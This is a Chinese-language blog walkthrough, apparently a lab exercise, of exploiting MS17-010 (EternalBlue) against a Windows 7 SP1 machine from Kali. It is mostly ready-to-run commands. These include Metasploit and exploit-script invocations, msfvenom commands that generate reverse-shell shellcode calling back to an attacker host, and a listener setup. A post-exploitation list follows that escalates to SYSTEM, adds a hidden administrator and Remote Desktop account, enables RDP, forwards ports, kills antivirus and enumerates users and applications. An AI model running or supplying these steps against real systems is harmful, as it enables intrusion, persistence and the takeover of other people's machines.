MS17-010 永恒之蓝利用

攻击机:kali

被攻击机:win7sp1

获取shell#

使用msf攻击#

1
2
3
4
5
use exploit/windows/smb/ms17_010_eternalblue
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set rhosts target_ip
set lhosts attacker_ip
exploit

顺利的话这个时候已经获得了一个meterpreter交互界面了

使用exploit-db脚本攻击#

1
2
3
4
5
6
7
Usage: python3 ./ms17-010.py --host xxx --file xxx --port xxx

[!] You can make a nc reverse shell USER_SHELLCODE_FILE in kali2.0 by use :
"msfvenom -p windows/x64/shell_reverse_tcp LHOST=x.x.x.x LPORT=xxx -f raw > shellcode"

[!] You can make a meterpreter reverse shell USER_SHELLCODE_FILE in kali2.0 by use :
"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxx -f raw > shellcode"

使用msfvenom生成shellcode,然后使用脚本即可,但是攻击没有msf的稳定,需要执行好几次才能弹出来

meterpreter监听:

1
2
3
4
5
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set lhost x.x.x.x
set lport xxx

代码见:https://blackwolfsec.cc/static/code/ms17-010.py

使用github最火的脚本攻击#

生成shellcode

1
2
3
nasm -f bin eternalblue_kshellcode_x64.asm -o eternalblue_kshellcode_x64.bin   
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xxx lport=xxx -f raw -o reverse_shell.raw EXITFUNC=thread
cat eternalblue_kshellcode_x64.bin reverse_shell.raw > shellcode.bin

攻击

1
python3 eternalblue_exploit7.py 10.1.1.4 shellcode.bin

我试了一下会蓝屏

后续环节#

  • 开启cmd:shell

  • cmd乱码问题:chcp 65001

  • 提权到system:getsystem

  • 添加账户:net user test test /add

  • 添加账户到管理员组:net localgroup administrators test /add

  • 添加账户到远程桌面组:net localgroup “Remote Desktop Users” test /add

  • 开启远程桌面:run post/windows/manage/enable_rdp 或者 run getgui -e

  • 代理转发:portfwd add -l 2222 -r 10.1.1.129 -p 3389

  • 打开远程桌面:rdesktop 127.1.1.0:2222

  • 关闭杀软:killav

  • 获取主机信息:run scraper/run winenum

  • 查看主机应用:run post/windows/gather/enum_applications

  • 查看主机用户:run post/windows/gather/enum_logged_on_users

还有更多环节可以参考:https://github.com/SEC-GO/Red-vs-Blue/blob/master/永恒之蓝ms17-010的利用.md

参考资料#

评论